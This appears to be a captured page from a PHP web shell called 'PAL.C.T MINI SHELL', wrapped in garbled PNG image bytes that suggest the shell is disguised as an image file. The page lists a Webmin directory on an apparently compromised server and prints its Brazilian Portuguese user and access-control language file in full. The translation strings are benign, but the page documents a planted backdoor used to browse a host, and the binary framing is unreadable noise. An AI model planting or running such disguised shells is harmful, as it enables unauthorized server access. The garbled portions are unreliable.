php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/pt_BR

index_title=Usuários do Webmin
index_user=Usuário
index_modules=Módulos
index_create=Criar um novo usuário do Webmin
index_convert=Converter usuários Unix para usuários Webmin
index_cert=Requisitar um certificado SSL
index_certmsg=Clique nese botão para requisitar um certificado SSL o qual irá lhe permitir se autenticar de formar segura no Webmin sem a ncessidade de informar um usuário e uma senha.
index_return=lista de usuários
index_none=Nenhum
index_edit=Editar ACL do Módulo :
index_global=ACL Global
index_users=Usuários do Webmin
index_groups=Grupos do Webmin
index_group=Grupo
index_nousers=Nenhum usuário editável do Webmin definido.
index_nogroups=Nenhum grupo editável do Webmin definido.
index_gcreate=Criar um novo grupo do Webmin
index_members=Membros
index_modgroups=Módulos de grupo $1
index_sync=Configurar sincronização de usuários Unix
index_unix=Configurar autenticação de usuários Unix
index_sessions=Visualizar sessões de login
index_rbac=Configurar RBAC
index_delete=Excluir os itens selecionados

edit_title=Editar Usuários Webmin
edit_title2=Criar Usuário do Webmin
edit_readonly=Este usuário do Webmin não deve ser editado, pois ele é gerenciado pelo módulo $1. <a href='$2'> Clique aqui</a> para ignorar este aviso e editar o usuário ? mas saiba que alterações manuais podem ser sobrescritas.
edit_rights=Direitos de acesso do usuário Webmin
edit_user=Nome de usuário
edit_cloneof=Copiando usuário Webmin
edit_real=Nome verdadeiro
edit_group=Membro do grupo
edit_pass=Senha
edit_same=A mesma do usuário Unix
edit_lock=Nenhuma senha aceita
edit_pam=Autenticação PAM
edit_unix=Autenticação Unix
edit_extauth=Programa de autenticação externo
edit_dont=Não mudar
edit_set=Definir para
edit_passlocked=A senha não foi alterada por $1 dias ? conta trancada!
edit_passmax=A senha não foi alterada por $1 dias ? deve ser alterada no próximo acesso
edit_passold=A senha foi alterada há $1 dias.
edit_passtoday=A senha foi alterada há menos de um dia.
edit_modules=Módulos
edit_clone=Clonar
edit_lang=Idioma
edit_notabs=Categorizar módulos ?
edit_logout=Tempo de desconexão por inatividade
edit_mins=minutos
edit_chars=caracteres
edit_minsize=Tamanho mínimo da senha
edit_nochange=Impor dias de mudança de senha?
edit_cert=Nome do certificado SSL
edit_none=Nenhum
edit_ips=Controle de acesso IP
edit_all=Permitir para todos os endereços
edit_allow=Permitir somente para os endereços listados
edit_deny=Negar para endereços listados
edit_ipdesc=O controle de acesso por IP de usuário funciona da mesma maneira que o controle de acesso IP global no módulo Configuração do Webmin. Os controles definidos aqui serão também checados somente caso um usuário passe os controles globais.
edit_skill=Nível de habilidade
edit_risk=Nível de risco
edit_risk_high=Superusuário
edit_risk_medium=Usuário administrador
edit_risk_low=Usuário comum
edit_groupmods=(Adicionalmente aos módulos de grupos)
edit_euser=Você não tem permissão para editar este usuário
edit_ecreate=você não tem permissão para criar usuários
edit_theme=Temas pessoais
edit_themeglobal=A partir da Configuração do Webmin
edit_themedef=Tema padrão do Webmin
edit_overlay=Sobreposição de tema pessoal
edit_overlayglobal=Nenhum ? usar os padrões do tema
edit_log=View Logs
edit_selall=Selecionar todos
edit_invert=Inverter seleção
edit_hide=Ocultar não usados
edit_switch=Trocar para usuário
edit_return=Usuário Webmin
edit_return2=Grupo Webmin
edit_rbacdeny=modo de acesso RBAC
edit_rbacdeny0=RBAC só controla os ACL's do módulo selecionado
edit_rbacdeny1=RBAC controla todos os módulos e ACL's
edit_global=Permissões para todos os módulos
edit_templock=Temporariamente trancado
edit_temppass=Forçar mudança no próximo acesso
edit_days=Dias da semana permitidos
edit_alldays=Todo dia
edit_seldays=Somente dias selecionados ..
edit_hours=Horários do dia permitidos
edit_allhours=A qualquer hora
edit_selhours=De $1:$2 a $3:$4
edit_ui=Opções da interface de usuário
edit_security=Opções de segurança e limites
edit_mods=Módulos Webmin disponíveis
edit_modsg=Módulos Webmin disponíveis (além dos do grupo)

save_err=Falha ao gravar usuário
save_ename='$1' não é um nome de usuário válido
save_enamewebmin=O nome de usuário 'webmin' é reservado para uso interno
save_edup=O nome de usuário '$1' já está em uso
save_eoverlay=Uma sobreposição de tema não pode ser selecionada, não não ser que um tema seja
save_edeny=você não pode negar a você mesmo o acesso ao módulo Usuários do Webmin
save_eos=A opção A mesma senha do Unix não é suportada em seu sistema operacional
save_emd5=A opção A mesma senha do Unix não pode ser usada em sistemas com encriptação MD5
save_eunix=O usuário Unix '$1' não existe
save_emod=Você não pode permitir acesso ao módulo '$1'
save_ecreate=Você não tem permissão para criar usuários
save_euser=Você não tem permissão para editar este usuário
save_ecolon=Senhas não podem conter o caracter :
save_epass=Senha inválida: $1
save_eself=Seu endereço IP atual ($1) seria negado
save_epam=A autenticação PAM não está disponível uma vez que o módulo Perl <tt>Authen::PAM</tt> não está instalado ou não está funcionando adequadamente.
save_epam2=Você pode usar os Módulos Perl do Webmin para <a href='$1'>fazer o download e instalar o módulo Perl Authen::PAM</tt> agora.
save_egroup=Você não tem permissão para atribuir para este grupo
save_enone=Nenhum endereço informado
save_enet='$1' não é um endereço de rede válido
save_emask='$1' não é uma máscara de rede válida
save_eip='$1' não é um endereço IP ou de rede completo
save_ehost=Falha ao procurar endereço IP para '$1'
save_elogouttime=Tempo de desconexão por inatividade vazio ou não numérico
save_eminsize=Tamanho mínimo da senha vazio ou não numérico
save_edays=Nenhum dia selecionado para permitir
save_ehours=Número de vezes para permitir vazio ou inválido
save_ehours2=O horário de início da permissão deve ser anterior ao de término

delete_err=Falha ao remover usuário
delete_eself=Você não pode remover a si próprio
delete_ecannot=Você não tem permissão de remover usuários
delete_euser=Você não tem permissão de remover este usuário

cert_title=Requisitar Certificado
cert_issue=Emitir Certificado
cert_header=Detalhes do novo certificado
cert_msg=Este formulário lhe permite requisitar um certificado SSL o qual será usado futuramente para que seu acesso ao Webmin seja permitido sem a necessidade de usuário e senha serem informados. Este método é mais seguro, mas devido a autenticação ser automática voc não será capaz de mudar para um usuário diferente quando estiver usando o certificado.
cert_ebrowser=O Webmin não sabe como emitir certificados de clientes para seu navegador ( $1 )
cert_cn=Seu nome
cert_email=Endereço de e-mail
cert_ou=Departamento
cert_o=Organização
cert_sp=Estado
cert_c=Código de país
cert_key=Tamanho da chave
cert_done=Seu certificado para $1 foi gerado com sucesso.
cert_pickup=<a href='$1'>Clique aqui para obter seu certificado e instalá-lo em seu navegador</a>
cert_install=Instalar seu certificado no navegador
cert_ekey=Uma nova chave SSL não foi enviada ao seu navegador - talvez o mesmo não suporte certificados SSL para clientes.
cert_eca=Falha ao configurar autoridade certificadora : $1
cert_already=Aviso - você já está usando o certificado $1.

acl_title=Módulo Controle de Acesso
acl_title2=Para $1 em $2
acl_title3=Para grupo $1 em $2
acl_options=Opções de controle de acesso $1
acl_config=Pode editar configuração de módulo ?
acl_reset=Retroceder ao acesso total
acl_rbac=Usar configurações de controle do RBAC?
acl_rbacyes=Sim (sobrescreve as configurações abaixo)

acl_uall=Todos os usuários
acl_uthis=Este usuário
acl_usel=Usuários selecionados ..
acl_gr=Membros de $1
acl_users=Usuários que podem ser editados
acl_mods=Pode permitir acesso a
acl_all=Todos os módulos
acl_own=Somente seus próprios módulos
acl_sel=Módulos selecionados ..
acl_create=Pode criar novos usuários ?
acl_delete=Pode remover usuários ?
acl_rename=Pode renomear usuários ?
acl_acl=Pode editar o controle de acesso do módulo ?
acl_lang=Pode mudar o idioma ?
acl_chcert=Pode mudar o nome do certificado SSL ?
acl_euser=Você não tem permissão de editar a ACL para este usuário
acl_egroup=Você não tem permissão de editar ACLs de grupo
acl_emod=Você não tem permissão de editar a ACL para este módulo
acl_others=Pode visualizar módulos inacessíveis ?
acl_cert=Pode requisitar certificado ?
acl_err=Falha ao gravar opções de acesso
acl_groups=Pode editar grupos ?
acl_gassign=Pode atribuir usuários a grupos ?
acl_gall=Todos os grupos
acl_gsel=Selecionados ..
acl_gnone=Nenhum
acl_perms=Novos usuário criados obtém
acl_perms_1=O mesmo controle de acesso a módulos que seu criador
acl_perms_0=O controle de acesso a módulos padrão (não restrito)
acl_sync=Pode configurar sincronização de usuário ?
acl_unix=Pode configurar autenticação Unix ?
acl_sessions=Pode visualizar e cancelar sessões de login ?
acl_cats=Pode mudar categorização ?
acl_theme=Pode mudar tema pessoal ?
acl_ips=Pode mudar control de acesso IP ?
acl_switch=Pode alternar para outros usuários?
acl_times=Pode alterar horários de login permitidos?

log_modify=Usuário Webmin $1 modificado
log_rename=Usuário Webmin $1 renomeado para $2
log_create=Usuário Webmin $1 criado
log_clone=Usuário Webmin $1 clonado para $2
log_delete=Usuário Webmin $1 removido
log_acl=Acesso atualizado para $1 em $2
log_reset=Reiniciar acesso para $1 em $2
log_cert=Certificado emitido para usuário $1
log_modify_g=Grupo Webmin $1 modificado
log_rename_g=Grupo Webmin renomeado de $1 para $2
log_create_g=Grupo Webmin $1 criado
log_delete_g=Grupo Webmin $1 removido
log_switch=Alternou para o usuário Webmin $1
log_delete_users=Foram excluidos $1 usuários Webmin
log_delete_groups=Foram excluidos $1 grupos Webmin
log_pass=Mudadas as restrições de senha
log_unix=Mudada a altenticação de usuário unix
log_sync=Mudada a sincronização de usuário unix

gedit_ecannot=Você não tem permissão para editar grupos
gedit_title=Editar Grupos do Webmin
gedit_title2=Criar Grupo do Webmin
gedit_group=Nome do grupo
gedit_rights=Direitos de acesso do grupo do Webmin
gedit_modules=Módulos dos membros
gedit_members=Usuários membros e grupos

gdelete_err=Falha ao remover grupo
gdelete_ecannot=Você não tem permissão para remover grupos
gdelete_euser=Você não pode remover seu próprio grupo
gdelete_esub=Grupos com subgrupos não podem ser removidos
gdelete_title=Remover Grupo
gdelete_desc=Você tem certeza que deseja remover o grupo $1 e seus usuários membros $2 ?
gdelete_ok=Remover Grupo

gsave_err=Falha ao gravar grupo
gsave_ename=Nome do grupo faltando ou inválido
gsave_enamewebmin=O nome de grupo 'webmin' é reservado para uso interno
gsave_edup=O nome do grupo já está em uso

convert_title=Converter Usuários
convert_ecannot=Você não tem permissão para converte usuários Unix
convert_nogroups=Nenhum grupo do Webmin foi definido em seu sistema. Pelo menos um grupo deve ser criao antes 
convert_desc=Este formulário lhe permite converter usuários Unix existentes para usuários Webmin. As permissões de cada usuário Webmin serão determinadas pelo grupo selecionado abaixo.
convert_0=Todos os usuários
convert_1=Somente os usuários
convert_2=Todos os usuários exceto
convert_3=Usuários com o grupo
convert_4=Usuários com UIDs na faixa
convert_group=Atribuir novos usuários para grupo Webmin
convert_ok=Converter Agora
convert_err=Falha ao converter usuários
convert_eusers=Nenhum usuário a ser convertido foi informado
convert_egroup=Grupo Unix não existe
convert_emin=UID mínimo inválido
convert_emax=UID máximo inválido
convert_ewgroup=Grupo Webmin não existente
convert_ewgroup2=Você não tem permissão para atribuir novos usuários a este grupo
convert_skip=$1 sendo omitido
convert_exists=$1 ja existe
convert_invalid=$1 não é um nome de usuário Webmin válido
convert_added=$1 sendo adicionado
convert_msg=Convertendo usuários Unix ...

sync_title=Sincronização de Usuários Unix
sync_desc=Este formulário lhe permite configurar a sincronização automática de usuários Unix criados através do Webmin e usuários neste módulo.
sync_nogroups=Nenhum grupo Webmin foi definido em seu sistema. Pelo menos um grupo deve ser criado para definir o acesso para usuários criados.
sync_create=Criar um usuário Webmin quando um usuário Unix é criado.
sync_update=Atualizar o usuário Webmin equivalente quando um usuário Webmin é atualizado.
sync_delete=Remover u usuário Webmin equivalente quando um usuário Unix é removido.
sync_group=Atribuir novos usuários para grupo Webmin
sync_unix=Defina uma senha para a autenticação de novos usuários Unix
sync_ecannot=Você não tem permissão para configurar a sincronização de usuários.

unix_title=Autenticação de Usuários Unix
unix_err=Falha ao salvar autenticação Unix
unix_desc=Esta página lhe permite configurar o Webmin para validar tentativas de login na lista ed usuários do sistema e PAM. Isto pode ser útil caso você possua um grande número de usuários Unix existentes aos quais você queira dar acesso ao Webmin.
unix_def=Permitir o login somente aos usuário do Webmin
unix_sel=Permitir que os usuários Unix listados abaixo façam login ..
unix_mode=Permitir
unix_mall=Todos os usuários
unix_group=Membros do grupo..
unix_user=Permitir o login para quaisquer usuários Unix com permissões do usuário
unix_who=Usuário ou Grupo
unix_to=Como usuário Webmin
unix_ecannot=Você não tem permissão para configurar a autenticação de usuários Unix
unix_epam=A autenticação Unix não está disponível devido ao módulo Perl <tt>Authen::PAM</tt> não estar instalado ou não estar funcionando adequadamente.
unix_all=Permitir todos os usuários Unix
unix_allow=Permitir somente usuários Unix listados
unix_deny=Não permitir usuários Unix listados
unix_none=Nenhum usuário na lista
unix_euser=$1' não é um nome de usuário válido
unix_egroup=$1' não é um nome de grupo válido
unix_shells=Negar usuários Unix cujos shells não estejam no arquivo
unix_eshells=Arquivo de shells faltando ou inexistente
unix_ewhogroup=Grupo para permitir faltando na linha $1
unix_ewhouser=Usuário para permitir faltando na linha $1
unix_enone=Não foram inseridos usuários Unix ou grupos para permitir
unix_same=&lt;Mesmo usuário ou grupo&gt;
unix_sudo=Permitir que usuários que podem executar todos os comandos via <tt>sudo</tt> se conectem como <tt>root</tt>
unix_pamany=Tratar conexões que só passam na validação PAM como $1
unix_esudo=O comando $1 não está instalado
unix_esudomod=O módulo Perl $1 necessário para autenticação <tt>sudo</tt> não está instalado

sessions_title=Sessões de Login Atuais
sessions_id=ID de Sessão
sessions_user=Usuário Webmin
sessions_login=Logado em 
sessions_host=Endereço IP
sessions_lview=Visualizar logs ..

hide_title=Ocultar módulos não usados
hide_desc=Os seguintes módulos serão removidos da lista de acesso de módulos para $1 porque seus respectivos servidores não estão instalados no seu sistema ..
hide_ok=Ocultar módulos agora
hide_none=Nada para ocultar - $1 não tem acesso a módulos cujo servidor não esteja instalado no seu sistema
hide_desc2=Saiba que estes módulos não vão reaparecer automaticamente se seus servidores forem instalados. Será necessário dar acesso manualmente usando este módulo.
hide_clone=($1 Clone)

switch_euser=Você não tem permissão para alternar para este usuário
switch_eold=Sessão existente não encontrada!

rbac_title=Configurar RBAC
rbac_desc=A integração do Webmin com RBAC permite que o módulo de usuário e permissões ACL sejam determinadas por uma base de dados RBAC (Role Based Access Control ? Controle de Acesso Baseado em Papéis), em vez dos arquivos de configuração do Webmin. Com o suporte RBAC ativado, qualquer usuário que tenha a opção <b>$edit_rbacdeny1</b> marcada vai ter suas permissões determinadas pelo RBAC, e não pelas configurações de acesso do Webmin.
rbac_esolaris=RBAC só é compatível com Solaris, no momento, e não pode ser usado neste sistema $1.
rbac_eperl=O módulo Perl $1 necessário para integração com RBAC não está instalado. <a href=$2'>Clique aqui</a> para instalá-lo agora.
rbac_ecpan=Você não tem acesso aos módulos Perl do Webmin para instalar o módulo $1, necessário para a integração RBAC.
rbac_ok=A integração RBAC está disponível neste sistema, e pode ser ativada individualmente para cada usuário na página de edição de usuários Webmin.

udeletes_err=Erro ao remover usuários.
udeletes_enone=Nenhum selecionado
udeletes_title=Remover usuários
udeletes_rusure=Você tem certeza de que deseja escluir os $1 usuários selecionados? Todas as suas configurações de controle de acesso e dados de usuário serão perdidos.
udeletes_users=Usuários selecionados: $1
udeletes_ok=Remover usuários
udeletes_ereadonly=Um dos usuários selecionados está marcado como não-editável.

gdeletes_err=Erro ao remover grupo
gdeletes_title=Remover grupos
gdeletes_rusure=Você tem certeza de que deseja escluir os $1 grupos selecionados e os $2 usuários associados a eles? Todas as configurações de controle de acesso e dados de usuário serão perdidos.
gdeletes_users=Grupos selecionados: $1
gdeletes_ok=Remover grupos

pass_title=Restrições de senha
pass_header=Imposições de segurança de senhas do Webmin
pass_minsize=Tamanho mínimo da senha
pass_nominsize=Sem mínimo
pass_regexps=Senhas de expressões regulares devem coincidir
pass_regdesc=Descrição de expressão regular legível para humanos
pass_maxdays=Dias para a troca de senha
pass_lockdays=Dias para que uma senha não trocada tranque uma conta
pass_nomaxdays=Troca não necessária
pass_nolockdays=Conta não é trancada
pass_nouser=Não permitir senha contendo o nome de usuário?
pass_nodict=Não permitir senha contendo palavra de dicionário?
pass_oldblock=Número de senhas antigas para rejeitar
pass_nooldblock=Sem limite para reutilização de senhas
pass_days=dias
pass_pass=senhas
pass_err=Erro ao salvar restrições de senha
pass_eminsize=Tamanho mínimo da senha vazio ou não numérico
pass_emaxdays=Número de dias para troca de senha vazio ou não numérico
pass_elockdays=Número de dias para trancar conta vazio ou não numérico
pass_eoldblock=Número de contas antigas recusadas vazio ou não numérico

cpass_minsize=Deve ter, no mínimo, $1 caracteres
cpass_notre=Bate com padrão não permitido
cpass_re=Não bate com padrão exigido
cpass_name=Contém o nome de usuário
cpass_dict=É uma palavra de dicionário
cpass_spellcmd=Os comandos $1 e $2, necessários para verificar palavras de dicionário, não estão instalados
cpass_old=Senha antiga não pode ser re-utilizada
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`